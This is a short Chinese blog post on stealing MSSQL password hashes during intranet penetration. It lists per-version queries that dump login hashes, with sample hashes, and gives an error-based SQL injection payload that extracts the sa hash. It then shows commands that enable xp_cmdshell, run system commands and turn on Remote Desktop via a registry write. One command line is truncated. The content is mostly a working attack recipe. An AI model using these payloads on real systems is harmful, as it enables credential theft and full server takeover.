窃取 MSSQL 各版本密码 HASH

地球胖头鱼 2021-01-25
Web安全 发布于 2021-01-25 14:06:58 阅读 115 评论 0

前言

MSSQL使用自制的密码哈希算法对用户密码进行哈希,在内网渗透中,大多数服务口令都是一样的,收集MSSQL数据库的用户和密码可能会有用。

01、MSSQL各版本密码HASH

MSSQL 2000版本

select name,password from master.dbo.sysxlogins 

Hash格式: 
0x0100(固定) + 8位key+40HASH1 +40HASH2
0x0100AC78A243F2E61FA800A7231C501D49CDA5B93A8A2294DC68AE487C99233F245F86A9ED5749F1838021EE1610

MSSQL 2005版本

select name,password_hash from sys.sql_logins

Hash格式:
0x0100(固定)8位key+ 20HASH1 + 20HASH2 
0x01004086CEB698DB9D0295DBF84F496FDDCECADE1AE5875EB294

MSSQL 2008 R2版本

Select name,password_hash from sys.sql_logins where name = 'sa'

Hash格式:
0x0100(固定)8位key+ 20HASH1 + 20HASH2 
0x0100A9A79055CACB976F1BE9405D2F7BE7B2A98003007978F821

MSSQL 2012 R2版本

select name,password_hash from sys.sql_logins

0x02009B23262ECB00E289977FA1209081C623020F2D28E23B5C615AC7BA8C0F25FEE638DC2E4DEAF023350C1E31199364879A94D65FC79F10BB577D6CB86A8C7148928DC8AFFB

SQL Server 2016版本

select name,password_hash from sys.sql_logins 

0x02002F8E6FBBE1B6A9961A7E397FDD3A26F795DF806A066940B26323BE89F3450064C8657C75E2A3729E8318BBE91692335F4D2F5633BADEF7A25EC8AC003E9C4DB342312505

02、SQL注入获取Sa账号密码

(1) 通过报错注入获取sa账户的哈希密码

?Keyword=1111%' AND (Select  master.dbo.fn_varbintohexstr(password) from master.dbo.sysxlogins where name='sa')=1 AND '%'='

(2)解密获取sa明文密码

(3)在内网或数据库端口开放的情况下,可直接连入数据库执行系统命令,获取服务器控制权限。

# 开启xp_cmdshell存储过程
EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
# 利用xp_cmdshell执行系统命令
Exec master.dbo.xp_cmdshell '
# SQL语句开启远程
Exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

原创:Bypass

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章207
  • 作者收获粉丝7
  • 作者收到点赞0
  • 所有文章被收藏了1
  • 博客总访问量排行第2
  • 博客总访问量4.5 万(每日更新)
查看所有博文